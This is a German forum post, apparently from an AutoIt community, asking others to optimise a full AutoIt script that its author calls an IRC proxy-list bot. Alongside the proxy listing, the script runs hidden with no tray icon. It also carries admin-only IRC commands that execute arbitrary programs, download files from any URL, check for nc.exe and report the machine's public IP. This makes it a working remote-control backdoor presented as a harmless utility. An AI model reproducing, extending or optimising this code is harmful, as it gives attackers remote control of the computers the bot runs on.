Optimieren eines IRC Skriptes

  • hi

    Das Skript ist ein IRC Bot, der die Proxys die man ihm gibt in eine txt einspeichert und auf wunsch wieder ausgibt.

    Ich denke das mein Skript nicht sehr schön geschrieben ist und auch nicht sehr optimiert/schnell ist. Mich würde es sehr freuen wenn iht mir dabei helfen könntet.


    Spoiler anzeigen


    #cs ----------------------------------------------------------------------------

    AutoIt Version: 3.2.12.1
    Author: bjoerni

    Script Function:
    IRC-Proxy-BOT

    #ce ----------------------------------------------------------------------------
    ;~ if ProcessExists(@ScriptName) Then Exit
    FileChangeDir (@ScriptDir)
    #NoTrayIcon
    #include <IRC.au3>
    #Include <File.au3>
    #Include <String.au3>
    #Include <Array.au3>
    #include <Constants.au3>
    #include <Process.au3>
    #include <INet.au3>
    global $irc_nick="IRC-PROXYBOT",$irc_adminnick="admin",$irc_server="hell.lost-souls.org",$irc_port="6667",$irc_chan="#testchannelproxy",$sock,$irc_connectet,$proxys[1],$split2[1]
    _initate()
    if FileExists("proxys") Then
    _FileReadToArray("proxys",$proxys)
    EndIf
    While 1
    $recv = TCPRecv($sock, 8192)
    ;~ If @error Then _restart()
    Local $sData = StringSplit($recv, @CRLF)
    For $i = 1 To $sData[0] Step 1
    ;~ if $sData[$i] <> "" Then
    ;~ _FileWriteLog("irc.txt",$sData[$i])
    ;~ EndIf
    Local $sTemp = StringSplit($sData[$i], " ")
    If $sTemp[1] = "" Then ContinueLoop
    If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2])
    if $sTemp[0] >= "2" Then
    If $sTemp[2] = "PRIVMSG" Then
    If StringInStr($sTemp[3],"#") Then
    if UBound($sTemp) = 5 Then
    If $sTemp[4] = ":!proxyhelp" Then
    $name = _StringBetween($sTemp[1],":","!")
    _IRCSendMessage ($sock, "_________________________________________", $name[0])
    _IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $name[0])
    _IRCSendMessage ($sock, "| !list- list al entrys |", $name[0])
    _IRCSendMessage ($sock, "| !add - add a entry |", $name[0])
    _IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $name[0])
    _IRCSendMessage ($sock, "| !del - del a entry |", $name[0])
    _IRCSendMessage ($sock, "| Befehle nur über Query |", $name[0])
    _IRCSendMessage ($sock, "|_______________________________________|", $name[0])
    EndIf

    EndIf
    if UBound($sTemp) = 6 Then
    If $sTemp[5] = ".OysN19p1jJ/kcC9I1NpxDs1" or $sTemp[5] = "!proxyhelp" Then
    $name = _StringBetween($sTemp[1],":","!")
    _IRCSendMessage ($sock, "_________________________________________", $name[0])
    _IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $name[0])
    _IRCSendMessage ($sock, "| !list- list al entrys |", $name[0])
    _IRCSendMessage ($sock, "| !add - add a entry |", $name[0])
    _IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $name[0])
    _IRCSendMessage ($sock, "| !del - del a entry |", $name[0])
    _IRCSendMessage ($sock, "| Befehle nur über Query |", $name[0])
    _IRCSendMessage ($sock, "|_______________________________________|", $name[0])
    EndIf

    EndIf


    Else
    If $sTemp[3] = $irc_nick Then
    $temp = _StringBetween($sTemp[1],":","!")
    if $temp <> "0" Then
    if $temp[0] = $irc_adminnick or $temp[0] = "admin2" Then
    Select
    Case $sTemp[4] = ":!del"
    if UBound($sTemp) = 6 Then
    _ArrayDelete($proxys,$sTemp[5])
    _FileWriteFromArray("proxys",$proxys,1,0)
    Else
    _IRCSendMessage ($sock, "_________________________________________", $temp[0])
    _IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
    _IRCSendMessage ($sock, "| !del number of entry |", $temp[0])
    _IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
    EndIf


    Case $sTemp[4] = ":!exit"
    _IRCSendMessage($sock, "Exit by Admin ("&$irc_adminnick&")", $irc_chan)
    _IRCQuit($sock, "Wir werden uns wiedersehen")
    Exit
    ;~ Case $sTemp[4] = ":!restart"
    ;~ _restartbyadm()
    Case $sTemp[4] = ":!check"
    if InetGetSize("http://www.google.de/intl/de_de/images/logo.gif") <> "0" Then _IRCSendMessage ($sock, "Inet funzt", $irc_adminnick)
    if FileExists("nc.exe") Then _IRCSendMessage ($sock, "NC.exe exits", $irc_adminnick)
    _IRCSendMessage ($sock, "IP: "&_GetIP(), $irc_adminnick)
    Case $sTemp[4] = ":!exec"
    if $sTemp[0]>="5" Then
    $temp=""
    for $i =6 to $sTemp[0]
    $temp=$temp&" "&$sTemp[$i]
    Next
    _IRCSendMessage ($sock, "Exec "&$sTemp[5]&" "&$temp, $irc_adminnick)
    $temp1=ShellExecute($sTemp[5],$temp)
    _IRCSendMessage ($sock, $temp1, $irc_adminnick)
    Else
    _IRCSendMessage ($sock, "CMD: !exec exe.exe [args]", $irc_adminnick)
    EndIf
    Case $sTemp[4] = ":!wwwget"
    if $sTemp[0]="6" Then
    if @InetGetActive = 1 Then
    _IRCSendMessage ($sock, "Es ist schon ein Download aktiv", $irc_adminnick)
    _IRCSendMessage ($sock, "Tippe !wwwgetabort zum abrechen", $irc_adminnick)
    Else
    $wwwsize=InetGetSize($sTemp[5])
    if $wwwsize <> 0 Then
    _IRCSendMessage ($sock, "WWW Get: "&$sTemp[5], $irc_adminnick)
    _IRCSendMessage ($sock, "Name: "&$sTemp[6], $irc_adminnick)
    _IRCSendMessage ($sock, "Size: "&$wwwsize, $irc_adminnick)
    InetGet($sTemp[5],$sTemp[6], 1, 1)
    $inetact = 1
    Else
    _IRCSendMessage ($sock, "Falsche URL", $irc_adminnick)
    EndIf
    EndIf
    Else
    _IRCSendMessage ($sock, "CMD: !wwwget url.de/lol.exe lol.exe", $irc_adminnick)
    EndIf
    Case $sTemp[4] = ":!wwwgetstatus"
    if $sTemp[0]="4" Then
    If @InetGetActive = 1 Then
    $temp1 = Execute(100/$wwwsize)
    $temp1 = Execute($temp1*@InetGetBytesRead)
    _IRCSendMessage ($sock, "WWW Get: "&$temp1&"%", $irc_adminnick)
    Else
    _IRCSendMessage ($sock, "Kein Download aktiv", $irc_adminnick)
    EndIf
    EndIf
    Case $sTemp[4] = ":!wwwgetabort"
    If @InetGetActive = 1 Then
    InetGet("abort")
    _IRCSendMessage ($sock, "Download abgebrochen", $irc_adminnick)
    $inetact = 0
    Else
    _IRCSendMessage ($sock, "Kein Download aktiv", $irc_adminnick)
    EndIf
    EndSelect
    EndIf
    Select
    Case $sTemp[4] = ":!list"
    _IRCSendMessage ($sock, "__Proxys:__", $temp[0])
    For $i = 1 to UBound($proxys)-1
    $split = StringSplit($proxys[$i],"|")
    if StringInStr($split[1],":") Then
    $split2 = StringSplit($split[1],":")
    Else
    $split2[1] = $split[1]
    EndIf
    $var = Ping($split2[1],500)
    if @error Then
    $msg = "OFFLINE"
    Else
    $msg = "ONLINE"
    EndIf
    _IRCSendMessage ($sock,"#"&$i&" "&$split[1]&" "&$split[2]&" "&$split[3]&" "&$split[4]&" "&$msg, $temp[0])
    Next
    _IRCSendMessage ($sock, "__ENDE__", $temp[0])
    Case $sTemp[4] = ":!add"
    if UBound($sTemp) >= 8 Then
    _ArrayAdd($proxys,$sTemp[5]&"|"&$sTemp[6]&"|"&$sTemp[7]&"|"&$sTemp[8])
    _FileWriteFromArray("proxys",$proxys,1,0)
    Else
    _IRCSendMessage ($sock, "_________________________________________", $temp[0])
    _IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
    _IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $temp[0])
    _IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
    EndIf

    Case $sTemp[4] = ":!help"
    _IRCSendMessage ($sock, "_________________________________________", $temp[0])
    _IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
    _IRCSendMessage ($sock, "| !list- list al entrys |", $temp[0])
    _IRCSendMessage ($sock, "| !add - add a entry |", $temp[0])
    _IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $temp[0])
    _IRCSendMessage ($sock, "| !del - del a entry |", $temp[0])
    _IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
    ;~ Case Else
    ;~ _IRCSendMessage ($sock, "Unkown Cmd", $temp[0])
    ;~ _IRCSendMessage ($sock, "Try !help", $temp[0])
    EndSelect

    EndIf
    EndIf
    EndIf
    EndIf
    EndIf
    If $sTemp[0] <= 2 Then ContinueLoop
    Next


    WEnd

    Func _initate()
    TCPStartup ()
    $sock = _IRCConnect($irc_server, $irc_port, $irc_nick)

    While 1
    $recv = TCPRecv($sock, 8192)
    If @error Then Exit
    Local $sData = StringSplit($recv, @CRLF)
    For $i = 1 To $sData[0] Step 1
    ;~ if $sData[$i] <> "" Then
    ;~ _FileWriteLog("irc.txt",$sData[$i])
    ;~ EndIf
    Local $sTemp = StringSplit($sData[$i], " ")
    If $sTemp[1] = "" Then ContinueLoop
    If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2])
    If $sTemp[0] <= 2 Then ContinueLoop
    Switch $sTemp[2]
    Case "266"
    _IRCJoinChannel ($sock, $irc_chan)
    _IRCChangeMode ($sock, "+i", $irc_nick)
    $irc_connectet = 1
    ExitLoop(2)
    EndSwitch
    Next
    WEnd

    EndFunc
    Func _restart()
    If @Compiled = 1 Then
    Run( FileGetShortName(@ScriptFullPath))
    Else
    Run( FileGetShortName(@AutoItExe) & " " & FileGetShortName(@ScriptFullPath))
    EndIf
    Exit
    EndFunc

    https://autoit.de/index.php?page…900316e4cc50976
    https://autoit.de/index.php?page…c446da530f51d8a

    mfg bjoerni